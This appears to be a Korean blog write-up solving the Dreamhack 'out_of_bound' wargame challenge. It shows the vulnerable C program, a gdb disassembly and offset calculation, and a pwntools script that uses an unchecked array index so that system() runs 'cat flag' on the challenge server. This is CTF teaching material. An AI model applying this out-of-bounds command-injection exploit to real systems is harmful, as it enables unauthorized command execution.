오늘은 out of bound 문제를 풀어볼 것이다.
out of boundary 강의에는 생각보다 간단히 적혀있었다.
그래서 어려운 문제면 어떡하지 라는 생각을 했는데, 생각보다 간단했다.
먼저 c코드를 살펴보자.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
그냥 name 이라는 값을 받고, idx(int)를 입력받아서 command 구조체에서 골라서 system에서 실행한다.
여기서 command 구조체의 개수는 5개인데, int 범위에서 받아서 oob가 일어난다.
대충 생각을 해보면 name에 cat flag를 넣어서 idx를 name 시작주소로 돌리면 될 것 같다.
그러면 바로 gdb로 디버깅해보자.
제일 먼저 main을 디스어셈블 해보자.
Dump of assembler code for function main:
0x080486cb <+0>: lea ecx,[esp+0x4]
0x080486cf <+4>: and esp,0xfffffff0
0x080486d2 <+7>: push DWORD PTR [ecx-0x4]
0x080486d5 <+10>: push ebp
0x080486d6 <+11>: mov ebp,esp
0x080486d8 <+13>: push ecx
0x080486d9 <+14>: sub esp,0x14
0x080486dc <+17>: mov eax,gs:0x14
0x080486e2 <+23>: mov DWORD PTR [ebp-0xc],eax
0x080486e5 <+26>: xor eax,eax
0x080486e7 <+28>: call 0x804867b <initialize>
0x080486ec <+33>: sub esp,0xc
0x080486ef <+36>: push 0x8048811
0x080486f4 <+41>: call 0x80484b0 <printf@plt>
0x080486f9 <+46>: add esp,0x10
0x080486fc <+49>: sub esp,0x4
0x080486ff <+52>: push 0x10
0x08048701 <+54>: push 0x804a0ac
0x08048706 <+59>: push 0x0
0x08048708 <+61>: call 0x80484a0 <read@plt>
0x0804870d <+66>: add esp,0x10
0x08048710 <+69>: sub esp,0xc
0x08048713 <+72>: push 0x804881e
0x08048718 <+77>: call 0x80484b0 <printf@plt>
0x0804871d <+82>: add esp,0x10
0x08048720 <+85>: sub esp,0x8
0x08048723 <+88>: lea eax,[ebp-0x10]
0x08048726 <+91>: push eax
0x08048727 <+92>: push 0x8048832
0x0804872c <+97>: call 0x8048540 <__isoc99_scanf@plt>
0x08048731 <+102>: add esp,0x10
0x08048734 <+105>: mov eax,DWORD PTR [ebp-0x10]
0x08048737 <+108>: mov eax,DWORD PTR [eax*4+0x804a060]
0x0804873e <+115>: sub esp,0xc
0x08048741 <+118>: push eax
0x08048742 <+119>: call 0x8048500 <system@plt>
0x08048747 <+124>: add esp,0x10
0x0804874a <+127>: mov eax,0x0
0x0804874f <+132>: mov edx,DWORD PTR [ebp-0xc]
0x08048752 <+135>: xor edx,DWORD PTR gs:0x14
0x08048759 <+142>: je 0x8048760 <main+149>
0x0804875b <+144>: call 0x80484e0 <__stack_chk_fail@plt>
0x08048760 <+149>: mov ecx,DWORD PTR [ebp-0x4]
0x08048763 <+152>: leave
0x08048764 <+153>: lea esp,[ecx-0x4]
0x08048767 <+156>: ret
End of assembler dump.
일단 main+66 즉 read 다음의 상황을 확인해보자.
gdb-peda$ b *main+66
Breakpoint 1 at 0x804870d
gdb-peda$ r
Starting program: /home/psj/oob
Admin name: cat flag
Breakpoint 1, 0x0804870d in main ()
gdb-peda$ find "cat flag"
Searching for 'cat flag' in: None ranges
Found 1 results, display max 1 items:
oob : c ("cat flag\n")
gdb peda로 확인해보면, name에 "cat flag"를 넣고 find 로 찾으면 0x804a0ac에 있는걸 확인할 수 있다.
그러면 얼마나 떨어졌는지 확인해보자.
main+108을 보면 eax*4+ 0x804a060이라고 되어있다.
먼저 0x804a060와 0x804a0ac의 offset을 확인해보자.
gdb-peda$ p/d 0x804a0ac-0x804a060
$1 = 76
gdb-peda$ p/d 76/4
$2 = 19
76이 떨어져있는데, eax * 4라서 76을 4로 나눠야 eax * 4를 하면 76이 된다.
그러면 cat flag를 넣고 idx에 19를 넣으면 될 것 같다.
그런데 아무렇지 않고 그냥 프로그램이 꺼진다.
왜 그런지 gdb로 살펴보자.
name에 cat flag, idx에 19를 넣고 system함수에 브레이크를 걸자.(main+119)
system 전으로 오면 cat flag중 4글자 즉 "cat "만 명령어로 들어간다.
여기서 삽질을 엄청 했는데, 결과적으로 name에 먼저 name+4의 주소를 넣으면 바로 name+4로 이동된다. 그러면 name에 name+4 주소 + cat flag를 하면 된다.
주소를 넣기위해 python으로 exploit code를 짜볼 것이다.
from pwn import *
p = remote("host1.dreamhack.games",13213)
p.recv()
payload = p32(0x804a0b0) #name
payload += b"cat flag"
p.sendline(payload)
p.recv()
p.sendline("19") #idx
flag = p.recvuntil("}").decode('utf-8')
print("DH flag : "+flag)
이제 실행해보자.
flag가 잘나온다.
'워게임' 카테고리의 다른 글
HackCTF - So easy? (forensics writeup) (0) | 2021.08.24 |
---|---|
HackCTF - Question? (forensics write up) (0) | 2021.08.24 |
Dreamhack - ssp_001 (0) | 2021.08.01 |
Dreamhack - ssp_000 (0) | 2021.07.31 |
Dreamhack - web-misconf-1 (0) | 2021.07.29 |